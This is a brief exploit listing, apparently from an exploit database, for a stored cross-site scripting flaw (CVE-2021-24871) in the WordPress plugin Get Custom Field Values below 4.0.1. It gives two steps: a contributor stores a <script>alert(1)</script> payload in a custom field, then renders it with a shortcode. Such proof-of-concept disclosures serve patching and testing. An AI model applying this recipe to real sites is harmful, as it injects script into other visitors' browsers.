Exploit for Get Custom Field Values < 4.0.1 - Contributor+ Stored Cross-Site Scripting CVE-2021-24871

## https://sploitus.com/exploit?id=WPEX-ID:28007C80-DC14-4987-A52C-F2A05CFE5905
As a contributor, create a custom field in a post, with the following payload: <script>alert(1)</script>

Then add the following shortcode to the post: [custom_field field="<custom_field_name>"]